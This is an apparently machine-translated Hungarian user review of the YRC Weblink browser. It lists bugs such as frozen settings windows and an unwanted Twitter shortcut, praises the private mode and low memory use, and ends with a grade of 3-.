Erre a parancsikonra kattintva egy külön böngészőablak nyílik meg a Twitterrel. Mi a franc csinálja ezt, és még alapértelmezés szerint is? Lehet, hogy egyáltalán nem használom a Twittert? Oké, töröltem a Twitter parancsikont az asztalról, de nem volt ott! Most, ha a böngésző parancsikonjára (nem twitterre) kattint a tálcán, a böngészőt a Twitter emeli ki! Életemben nem láttam még ilyen ünnepi hibát!

Egyébként erről a három ablakról, amelyeket a fenti képernyőképen lát. Az Összegzés beállításai ablak minden más alkalommal lefagy. És hogy csak úgy tudja levágni, ha letiltja a folyamatot a Feladatkezelőben, más módon - semmi. A szinkronizálási ablakot pedig csak a rendszerből való kijelentkezéssel zárhatja be.

Ha a "Nem" gombra kattint, az ablak mindig nyitva marad. Annak ellenére, hogy maga a böngésző éppen ellenkezőleg, időről időre spontán kikapcsol. És ami vicces: a böngésző kikapcsol, de a kilógott Összegzés ablak és a nyitott Szinkronizálás ablak nem, és árván lógnak, elhagyták a böngészőt, amíg ki nem vágod őket a Feladatkezelőben. Tündéri hibák!

Nem lenne azonban helyes nem felsorolni a böngésző pozitív oldalai.

Először is, ez egy névtelen szörfözési mód. Kapcsolja be ezt a módot a beállításokban, és a böngésző nem használja a gyorsítótárat, a cookie-kat, nem rögzíti a böngészési előzményeket. Vannak böngészők, amelyek csak ebben a módban működnek, ilyen például a Browzar, ami néha szükséges, de általában rendkívül kényelmetlen. Az üzemmód gyors csatlakoztatásának és leválasztásának lehetősége pedig nagy előnyt jelent a böngésző számára.

Másodszor, az YRC Weblink képes alapértelmezett keresőmotor kiválasztására. Azonban egy meglehetősen konkrét listából kell választania:

A kereső címe azonban manuálisan is beállítható az Új definiálása gombra kattintva (a képernyőképen nem látszik, a lista alatt van).

Nos, az utolsó, de nagyon jelentős plusz - A YRC Weblink szinte nem tölti be a rendszert! Összehasonlításképpen 10 lapot nyitottam meg benne és 10 lapot nyitottam meg azonos címekkel a Yandex böngészőben (a böngészők között vezető a rendszerbetöltés tekintetében), és ez lett a kép.

Yandex böngésző:

Nem nehéz kitalálni, hogy a YRC Weblink ebben az értelemben szinte versenyen kívül van, jó értelemben.


ÖSSZEFOGLALÁS. Ha minden ötlet, amit a készítők ebben a böngészőben próbáltak megvalósítani, jól megvalósulna, nem lenne ára, a YRC Weblink a legjobbnak, de legalábbis az egyik legjobb böngészőnek vallhatná magát. De azokkal a hiányosságokkal, amelyeket megfigyeltek benne, még "C" fokozatot sem húz fel. Értékelem őt 3- .

A tesztelés után eltávolítom a böngészőt - egyáltalán nem szükséges, hogy ilyen hibás program legyen a számítógépen. Nos, várjuk a további lépéseket a YRC Group Inc. részéről. Az indiai programozók képesek lesznek kiküszöbölni az összes hiányosságot, és kiadják a böngésző igazán működő verzióját, tisztelet és dicséret nekik. Nem fognak tudni – eggyel több halvaszületett böngésző lesz a világon.